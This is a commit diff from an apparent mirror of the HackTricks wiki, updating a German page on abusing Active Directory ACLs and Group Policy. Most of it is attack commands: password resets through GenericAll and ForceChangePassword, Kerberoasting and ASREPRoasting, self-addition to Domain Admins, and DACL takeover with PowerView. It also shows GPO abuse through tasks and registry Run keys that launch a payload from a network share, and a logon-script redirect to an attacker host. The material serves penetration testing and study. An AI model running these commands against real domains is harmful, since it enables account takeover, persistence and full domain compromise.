mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/acl-pers
This commit is contained in:
Translator
parent
58835122b6
commit
2613efab9d
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Diese Seite ist hauptsächlich eine Zusammenfassung der Techniken aus** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **und** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Für mehr Details siehe die Originalartikel.**
|
||||
**Diese Seite ist größtenteils eine Zusammenfassung der Techniken aus** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **und** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Für mehr Details siehe die Originalartikel.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,47 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll-Rechte an einem Benutzer**
|
||||
## **GenericAll-Rechte auf Benutzer**
|
||||
|
||||
Dieses Recht gewährt einem Angreifer volle Kontrolle über ein Ziel-Benutzerkonto. Sobald `GenericAll`-Rechte mit dem Befehl `Get-ObjectAcl` bestätigt wurden, kann ein Angreifer:
|
||||
Dieses Privileg gewährt einem Angreifer vollständige Kontrolle über ein Ziel-Benutzerkonto. Sobald `GenericAll`-Rechte mit dem Befehl `Get-ObjectAcl` bestätigt sind, kann ein Angreifer:
|
||||
|
||||
- **Ändern des Passworts des Ziels**: Mit `net user <username> <password> /domain` kann der Angreifer das Passwort des Benutzers zurücksetzen.
|
||||
- **Targeted Kerberoasting**: Weise dem Benutzerkonto einen SPN zu, um es kerberoastable zu machen, und nutze dann Rubeus und targetedKerberoast.py, um die ticket-granting ticket (TGT) hashes zu extrahieren und zu versuchen, sie zu knacken.
|
||||
- **Das Passwort des Ziels ändern**: Mit `net user <username> <password> /domain` kann der Angreifer das Passwort des Benutzers zurücksetzen.
|
||||
- Unter Linux kann man dasselbe über SAMR mit Samba `net rpc` durchführen:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Wenn das Konto deaktiviert ist, entferne das UAC-Flag**: `GenericAll` ermöglicht das Bearbeiten von `userAccountControl`. Unter Linux kann BloodyAD das `ACCOUNTDISABLE`-Flag entfernen:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Weisen Sie dem Benutzerkonto einen SPN zu, um es kerberoastable zu machen, und verwenden Sie dann Rubeus und targetedKerberoast.py, um die ticket-granting ticket (TGT)-Hashes zu extrahieren und zu versuchen, sie zu cracken.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Deaktiviere pre-authentication für den Benutzer und mache dessen Konto für ASREPRoasting angreifbar.
|
||||
- **Targeted ASREPRoasting**: Deaktivieren Sie die Pre-Authentifizierung für den Benutzer, wodurch dessen Konto für ASREPRoasting anfällig wird.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll-Rechte an einer Gruppe**
|
||||
- **Shadow Credentials / Key Credential Link**: Mit `GenericAll` auf einem Benutzer kannst du eine zertifikatbasierte Anmeldeinformation hinzufügen und dich als diesen authentifizieren, ohne dessen Passwort zu ändern. Siehe:
|
||||
|
||||
Dieses Privileg ermöglicht einem Angreifer, Gruppenmitgliedschaften zu manipulieren, wenn er `GenericAll`-Rechte an einer Gruppe wie `Domain Admins` besitzt. Nachdem der Angreifer den distinguished name (DN) der Gruppe mit `Get-NetGroup` identifiziert hat, kann er:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
- **Sich selbst zur `Domain Admins`-Gruppe hinzufügen**: Dies kann über direkte Befehle oder durch die Verwendung von Modulen wie Active Directory oder PowerSploit erfolgen.
|
||||
## **GenericAll-Rechte für Gruppen**
|
||||
|
||||
Dieses Privileg erlaubt einem Angreifer, Gruppenmitgliedschaften zu manipulieren, wenn er `GenericAll`-Rechte an einer Gruppe wie `Domain Admins` besitzt. Nachdem er den distinguished name der Gruppe mit `Get-NetGroup` ermittelt hat, kann der Angreifer:
|
||||
|
||||
- **Sich selbst zur Domain Admins-Gruppe hinzufügen**: Dies kann über direkte Befehle oder durch die Verwendung von Modulen wie Active Directory oder PowerSploit erfolgen.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
Unter Linux kannst du BloodyAD verwenden, um dich selbst zu beliebigen Gruppen hinzuzufügen, sofern du über GenericAll/Write-Mitgliedschaft an ihnen verfügst. Ist die Zielgruppe in „Remote Management Users“ verschachtelt, erhältst du sofort WinRM-Zugriff auf Hosts, die diese Gruppe berücksichtigen:
|
||||
- Von Linux aus kannst du auch BloodyAD verwenden, um dich selbst in beliebige Gruppen hinzuzufügen, wenn du über GenericAll/Write-Mitgliedschaft für diese verfügst. Wenn die Zielgruppe in “Remote Management Users” verschachtelt ist, erhältst du sofort WinRM-Zugriff auf Hosts, die diese Gruppe berücksichtigen:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Wenn man diese Privilegien auf einem Computerobjekt oder einem Benutzerkonto besitzt, ermöglicht das:
|
||||
Das Halten dieser Privilegien auf einem Computerobjekt oder einem Benutzerkonto ermöglicht:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Ermöglicht die Übernahme eines Computerobjekts.
|
||||
- **Shadow Credentials**: Mit dieser Technik kann man sich als Computer- oder Benutzerkonto ausgeben, indem man die Privilegien ausnutzt, um Shadow Credentials zu erstellen.
|
||||
- **Shadow Credentials**: Mit dieser Technik kann man einen Computer- oder Benutzeraccount imitieren, indem man die Rechte ausnutzt, um shadow credentials zu erstellen.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Wenn ein Benutzer `WriteProperty`-Rechte auf alle Objekte einer bestimmten Gruppe (z. B. `Domain Admins`) hat, kann er:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: Dies lässt sich durch die Kombination der Befehle `net user` und `Add-NetGroupUser` erreichen; diese Methode ermöglicht eine Privilegieneskalation innerhalb der Domain.
|
||||
- **Sich selbst zur Domain Admins-Gruppe hinzufügen**: Dies lässt sich durch Kombination der Befehle `net user` und `Add-NetGroupUser` erreichen; diese Methode ermöglicht eine Privilegieneskalation innerhalb der Domäne.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Dieses Privileg ermöglicht Angreifern, sich selbst zu bestimmten Gruppen hinzuzufügen, wie z. B. `Domain Admins`, mittels Befehlen, die die Gruppenmitgliedschaft direkt manipulieren. Mit der folgenden Befehlssequenz kann man sich selbst hinzufügen:
|
||||
Dieses Privileg ermöglicht Angreifern, sich selbst zu bestimmten Gruppen hinzuzufügen, wie z. B. `Domain Admins`, mittels Befehlen, die die Gruppenmitgliedschaft direkt manipulieren. Mit der folgenden Befehlssequenz ist eine Selbsthinzufügung möglich:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Ein ähnliches Recht ermöglicht es Angreifern, sich direkt zu Gruppen hinzuzufügen, indem sie die Gruppenattribute ändern, sofern sie das `WriteProperty`-Recht auf diesen Gruppen besitzen. Die Bestätigung und Ausführung dieses Rechts erfolgen mit:
|
||||
Ein ähnliches Privileg, das Angreifern erlaubt, sich direkt zu Gruppen hinzuzufügen, indem sie Gruppenattribute ändern, sofern sie das Recht `WriteProperty` auf diesen Gruppen besitzen. Die Bestätigung und Ausführung dieses Privilegs erfolgen mit:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Das Halten des `ExtendedRight` an einem Benutzer für `User-Force-Change-Password` ermöglicht das Zurücksetzen des Passworts, ohne das aktuelle Passwort zu kennen. Die Überprüfung dieses Rechts und dessen Ausnutzung kann über PowerShell oder alternative Kommandozeilentools erfolgen und bietet mehrere Methoden, das Passwort eines Benutzers zurückzusetzen, einschließlich interaktiver Sitzungen und Einzeilern für nicht-interaktive Umgebungen. Die Befehle reichen von einfachen PowerShell-Aufrufen bis zur Verwendung von `rpcclient` unter Linux und verdeutlichen die Vielseitigkeit der Angriffsvektoren.
|
||||
Der Besitz des `ExtendedRight` für einen Benutzer bezüglich `User-Force-Change-Password` ermöglicht Passwortzurücksetzungen, ohne das aktuelle Passwort zu kennen. Die Überprüfung dieses Rechts und dessen Ausnutzung kann über PowerShell oder alternative Kommandozeilen-Tools erfolgen und bietet mehrere Methoden, das Passwort eines Benutzers zurückzusetzen, einschließlich interaktiver Sitzungen und One‑Liner für nicht-interaktive Umgebungen. Die Befehle reichen von einfachen PowerShell-Aufrufen bis zur Nutzung von `rpcclient` unter Linux und zeigen die Vielseitigkeit der Angriffsvektoren.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner an einer Gruppe**
|
||||
## **WriteOwner on Group**
|
||||
|
||||
Wenn ein Angreifer feststellt, dass er über eine Gruppe `WriteOwner`-Rechte besitzt, kann er die Eigentümerschaft der Gruppe auf sich selbst ändern. Dies ist besonders folgenreich, wenn es sich bei der betreffenden Gruppe um `Domain Admins` handelt, da das Ändern des Eigentümers eine weitreichendere Kontrolle über Gruppenattribute und Mitgliedschaften ermöglicht. Der Vorgang umfasst das Identifizieren des richtigen Objekts mittels `Get-ObjectAcl` und anschließend die Verwendung von `Set-DomainObjectOwner`, um den Eigentümer entweder per SID oder per Namen zu ändern.
|
||||
Wenn ein Angreifer feststellt, dass er `WriteOwner`-Rechte auf eine Gruppe hat, kann er den Besitz der Gruppe auf sich selbst ändern. Dies ist besonders wirkungsvoll, wenn es sich bei der betreffenden Gruppe um `Domain Admins` handelt, da die Änderung des Besitzers eine weiterreichende Kontrolle über Gruppenattribute und Mitgliedschaften ermöglicht. Der Vorgang umfasst das Identifizieren des korrekten Objekts mittels `Get-ObjectAcl` und anschließend die Verwendung von `Set-DomainObjectOwner`, um den Besitzer entweder über die SID oder den Namen zu ändern.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Diese Berechtigung erlaubt einem Angreifer, Benutzerattribute zu verändern. Konkret kann ein Angreifer mit `GenericWrite`-Zugriff den Pfad des Logon-Skripts eines Benutzers ändern, um beim Benutzer-Logon ein bösartiges Skript auszuführen. Dies wird erreicht, indem der Befehl `Set-ADObject` verwendet wird, um die Eigenschaft `scriptpath` des Zielbenutzers so zu aktualisieren, dass sie auf das Skript des Angreifers zeigt.
|
||||
Diese Berechtigung erlaubt einem Angreifer, User-Eigenschaften zu verändern. Konkret kann der Angreifer mit `GenericWrite`-Zugriff den Pfad des Anmeldeskripts eines Users ändern, um bei der Anmeldung des Users ein bösartiges Skript auszuführen. Dies wird erreicht, indem der Befehl `Set-ADObject` verwendet wird, um die `scriptpath`-Eigenschaft des Ziel-Users so zu aktualisieren, dass sie auf das Skript des Angreifers zeigt.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Mit diesem Privileg können Angreifer die Gruppenmitgliedschaft manipulieren, z. B. sich selbst oder andere Benutzer zu bestimmten Gruppen hinzufügen. Dieser Vorgang umfasst das Erstellen eines credential object, dessen Verwendung zum Hinzufügen oder Entfernen von Benutzern aus einer Gruppe sowie die Überprüfung der Mitgliedschaftsänderungen mit PowerShell-Befehlen.
|
||||
Mit diesem Privileg können Angreifer die Gruppenmitgliedschaft manipulieren, etwa indem sie sich selbst oder andere Benutzer zu bestimmten Gruppen hinzufügen. Der Prozess beinhaltet das Erstellen eines credential object, die Verwendung dieses Objekts, um Benutzer zu einer Gruppe hinzuzufügen oder daraus zu entfernen, und das Überprüfen der Mitgliedschaftsänderungen mit PowerShell-Befehlen.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Unter Linux kann Samba `net` Mitglieder hinzufügen/entfernen, wenn man `GenericWrite` für die Gruppe hat (nützlich, wenn PowerShell/RSAT nicht verfügbar sind):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Wenn ein Angreifer ein AD-Objekt besitzt und über `WriteDACL`-Berechtigungen darauf verfügt, kann er sich selbst `GenericAll`-Rechte für dieses Objekt gewähren. Dies wird durch ADSI-Manipulation erreicht, wodurch vollständige Kontrolle über das Objekt und die Möglichkeit, dessen Gruppenmitgliedschaften zu ändern, entsteht. Dennoch gibt es Einschränkungen beim Versuch, diese Berechtigungen mit den `Set-Acl`-/`Get-Acl`-Cmdlets des Active Directory-Moduls auszunutzen.
|
||||
Das Besitzen eines AD-Objekts und das Vorhandensein von `WriteDACL`-Berechtigungen darauf ermöglichen es einem Angreifer, sich selbst `GenericAll`-Berechtigungen für das Objekt zu gewähren. Dies wird durch ADSI-Manipulation erreicht und erlaubt volle Kontrolle über das Objekt sowie die Möglichkeit, dessen Gruppenmitgliedschaften zu ändern. Dennoch gibt es Einschränkungen beim Versuch, diese Rechte mit den `Set-Acl` / `Get-Acl` Cmdlets des Active Directory-Moduls auszunutzen.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +141,137 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Replikation in der Domäne (DCSync)**
|
||||
### WriteDACL/WriteOwner schnelle Übernahme (PowerView)
|
||||
|
||||
Der DCSync-Angriff nutzt spezifische Replikationsberechtigungen in der Domäne, um einen Domain Controller zu imitieren und Daten, einschließlich Benutzeranmeldeinformationen, zu synchronisieren. Diese mächtige Technik erfordert Berechtigungen wie `DS-Replication-Get-Changes` und ermöglicht es Angreifern, sensible Informationen aus der AD-Umgebung zu extrahieren, ohne direkten Zugriff auf einen Domain Controller zu haben. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
Wenn Sie über `WriteOwner` und `WriteDacl` für ein Benutzer- oder Dienstkonto verfügen, können Sie die vollständige Kontrolle übernehmen und dessen Passwort mit PowerView zurücksetzen, ohne das alte Passwort zu kennen:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Hinweise:
|
||||
- Möglicherweise müssen Sie zuerst den Besitzer auf sich selbst ändern, wenn Sie nur `WriteOwner` haben:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Zugriff mit beliebigem Protokoll (SMB/LDAP/RDP/WinRM) nach Zurücksetzen des Passworts prüfen.
|
||||
|
||||
## **Replikation in der Domain (DCSync)**
|
||||
|
||||
Der DCSync-Angriff nutzt spezifische Replikationsberechtigungen in der Domain, um einen Domain Controller zu imitieren und Daten, einschließlich Benutzeranmeldeinformationen, zu synchronisieren. Diese mächtige Technik erfordert Berechtigungen wie `DS-Replication-Get-Changes`, die es Angreifern ermöglichen, sensible Informationen aus der AD-Umgebung zu extrahieren, ohne direkten Zugriff auf einen Domain Controller zu haben. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO-Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO-Delegation
|
||||
|
||||
Delegierter Zugriff zur Verwaltung von Group Policy Objects (GPOs) kann erhebliche Sicherheitsrisiken darstellen. Wenn einem Benutzer wie `offense\spotless` z. B. Rechte zur GPO-Verwaltung delegiert werden, kann er Privilegien wie **WriteProperty**, **WriteDacl** und **WriteOwner** besitzen. Diese Berechtigungen können für bösartige Zwecke missbraucht werden, wie mit PowerView erkannt: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Delegierter Zugriff zur Verwaltung von Group Policy Objects (GPOs) kann erhebliche Sicherheitsrisiken darstellen. Wenn beispielsweise einem Benutzer wie `offense\spotless` GPO-Verwaltungsrechte delegiert wurden, kann dieser Privilegien wie **WriteProperty**, **WriteDacl** und **WriteOwner** haben. Diese Berechtigungen können für böswillige Zwecke missbraucht werden, wie mit PowerView festgestellt werden kann: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPO-Berechtigungen auflisten
|
||||
|
||||
Um fehlkonfigurierte GPOs zu identifizieren, können die Cmdlets von PowerSploit miteinander verknüpft werden. Damit lassen sich GPOs finden, die ein bestimmter Benutzer verwalten darf: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Um fehlkonfigurierte GPOs zu identifizieren, können PowerSploit-cmdlets verkettet werden. Dadurch können GPOs entdeckt werden, die ein bestimmter Benutzer verwalten darf: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computer, auf die eine bestimmte Richtlinie angewendet wird**: Es ist möglich zu ermitteln, auf welche Computer eine bestimmte GPO angewendet wird, um den Umfang des potenziellen Einflusses zu verstehen. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Computer, auf die die Richtlinie angewendet ist**: Es ist möglich zu ermitteln, auf welche Computer eine bestimmte GPO angewendet wird, um den Umfang der potenziellen Auswirkungen zu verstehen. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Richtlinien, die auf einen bestimmten Computer angewendet werden**: Um zu sehen, welche Richtlinien auf einem bestimmten Computer angewendet sind, können Befehle wie `Get-DomainGPO` verwendet werden.
|
||||
**Auf einen bestimmten Computer angewendete Richtlinien**: Um zu sehen, welche Richtlinien auf einen bestimmten Computer angewendet werden, kann man Befehle wie `Get-DomainGPO` verwenden.
|
||||
|
||||
**OUs, auf die eine bestimmte Richtlinie angewendet wird**: Das Identifizieren von Organizational Units (OUs), die von einer bestimmten Richtlinie betroffen sind, kann mit `Get-DomainOU` erfolgen.
|
||||
**OUs, auf die eine Richtlinie angewendet ist**: Die Identifikation von Organizational Units (OUs), die von einer bestimmten Richtlinie betroffen sind, kann mit `Get-DomainOU` erfolgen.
|
||||
|
||||
Sie können auch das Tool [**GPOHound**](https://github.com/cogiceo/GPOHound) verwenden, um GPOs aufzulisten und darin enthaltene Probleme zu finden.
|
||||
Sie können auch das Tool [**GPOHound**](https://github.com/cogiceo/GPOHound) verwenden, um GPOs zu enumerieren und Probleme darin zu finden.
|
||||
|
||||
### GPO missbrauchen - New-GPOImmediateTask
|
||||
### Missbrauch von GPO - New-GPOImmediateTask
|
||||
|
||||
Fehlkonfigurierte GPOs können ausgenutzt werden, um Code auszuführen, z. B. durch das Erstellen einer sofort ausgeführten geplanten Aufgabe. Damit kann ein Benutzer zur lokalen Administratorgruppe auf betroffenen Maschinen hinzugefügt werden, wodurch Privilegien erheblich erhöht werden:
|
||||
Fehlkonfigurierte GPOs können ausgenutzt werden, um Code auszuführen, zum Beispiel durch das Erstellen einer sofortigen geplanten Aufgabe. Damit kann ein Benutzer zur lokalen Administratorgruppe betroffener Maschinen hinzugefügt werden, was die Privilegien erheblich erhöht:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Das GroupPolicy module, falls installiert, ermöglicht die Erstellung und Verknüpfung neuer GPOs sowie das Setzen von preferences wie registry values, um backdoors auf betroffenen Computern auszuführen. Diese Methode erfordert, dass das GPO aktualisiert wird und ein Benutzer sich am Computer anmeldet, damit die Ausführung erfolgt:
|
||||
Das GroupPolicy module, falls installiert, ermöglicht die Erstellung und Verknüpfung neuer GPOs sowie das Setzen von Einstellungen wie registry values, um backdoors auf betroffenen Computern auszuführen. Diese Methode erfordert, dass das GPO aktualisiert wird und sich ein Benutzer am Computer anmeldet, damit die Ausführung erfolgt:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse bietet eine Methode, vorhandene GPOs zu missbrauchen, indem Aufgaben hinzugefügt oder Einstellungen geändert werden, ohne neue GPOs erstellen zu müssen. Dieses Tool erfordert die Modifikation vorhandener GPOs oder die Verwendung von RSAT-Tools, um neue zu erstellen, bevor Änderungen angewendet werden:
|
||||
SharpGPOAbuse bietet eine Methode, bestehende GPOs zu missbrauchen, indem Aufgaben hinzugefügt oder Einstellungen geändert werden, ohne neue GPOs erstellen zu müssen. Dieses Tool erfordert die Änderung bestehender GPOs oder die Verwendung von RSAT-Tools, um neue zu erstellen, bevor Änderungen angewendet werden:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Richtlinienaktualisierung erzwingen
|
||||
|
||||
GPO-Updates erfolgen typischerweise etwa alle 90 Minuten. Um diesen Prozess zu beschleunigen — insbesondere nach einer Änderung — kann auf dem Zielrechner der Befehl `gpupdate /force` verwendet werden, um ein sofortiges Anwenden der Richtlinien zu erzwingen. Dieser Befehl stellt sicher, dass Änderungen an GPOs angewendet werden, ohne auf den nächsten automatischen Aktualisierungszyklus zu warten.
|
||||
GPO-Updates erfolgen in der Regel ungefähr alle 90 Minuten. Um diesen Prozess zu beschleunigen, besonders nach einer Änderung, kann auf dem Zielcomputer der Befehl `gpupdate /force` verwendet werden, um eine sofortige Richtlinienaktualisierung zu erzwingen. Dieser Befehl stellt sicher, dass Änderungen an GPOs angewendet werden, ohne auf den nächsten automatischen Aktualisierungszyklus zu warten.
|
||||
|
||||
### Unter der Haube
|
||||
### Technischer Hintergrund
|
||||
|
||||
Bei der Überprüfung der Scheduled Tasks für eine bestimmte GPO, wie z. B. `Misconfigured Policy`, lässt sich die Hinzufügung von Tasks wie `evilTask` bestätigen. Diese Tasks werden durch Skripte oder Kommandozeilentools erstellt und zielen darauf ab, Systemverhalten zu ändern oder Privilegien zu eskalieren.
|
||||
Bei der Inspektion der Scheduled Tasks für ein bestimmtes GPO, wie die `Misconfigured Policy`, lässt sich feststellen, dass Tasks wie `evilTask` hinzugefügt wurden. Diese Tasks werden über Skripte oder Kommandozeilentools erstellt, die darauf abzielen, Systemverhalten zu ändern oder Privilegien zu eskalieren.
|
||||
|
||||
Die Struktur des Tasks, wie sie in der XML-Konfigurationsdatei gezeigt wird, die von `New-GPOImmediateTask` erzeugt wurde, beschreibt die Details des geplanten Tasks — einschließlich des auszuführenden Befehls und seiner Trigger. Diese Datei zeigt, wie Scheduled Tasks innerhalb von GPOs definiert und verwaltet werden und bietet eine Methode, beliebige Befehle oder Skripte im Rahmen der Richtliniendurchsetzung auszuführen.
|
||||
Die Struktur des Tasks, wie sie in der XML-Konfigurationsdatei gezeigt ist, die durch `New-GPOImmediateTask` erzeugt wurde, beschreibt die Einzelheiten des geplanten Tasks – einschließlich des auszuführenden Befehls und seiner Trigger. Diese Datei zeigt, wie Scheduled Tasks innerhalb von GPOs definiert und verwaltet werden und liefert eine Methode, beliebige Befehle oder Skripte im Rahmen der Durchsetzung von Richtlinien auszuführen.
|
||||
|
||||
### Benutzer und Gruppen
|
||||
|
||||
GPOs ermöglichen außerdem die Manipulation von Benutzer- und Gruppenmitgliedschaften auf Zielsystemen. Durch direkte Bearbeitung der Users and Groups-Policy-Dateien können Angreifer Benutzer zu privilegierten Gruppen hinzufügen, wie z. B. zur lokalen `administrators`-Gruppe. Dies ist durch die Delegation von GPO-Verwaltungsberechtigungen möglich, welche die Änderung von Policy-Dateien erlauben, um neue Benutzer hinzuzufügen oder Gruppenmitgliedschaften zu ändern.
|
||||
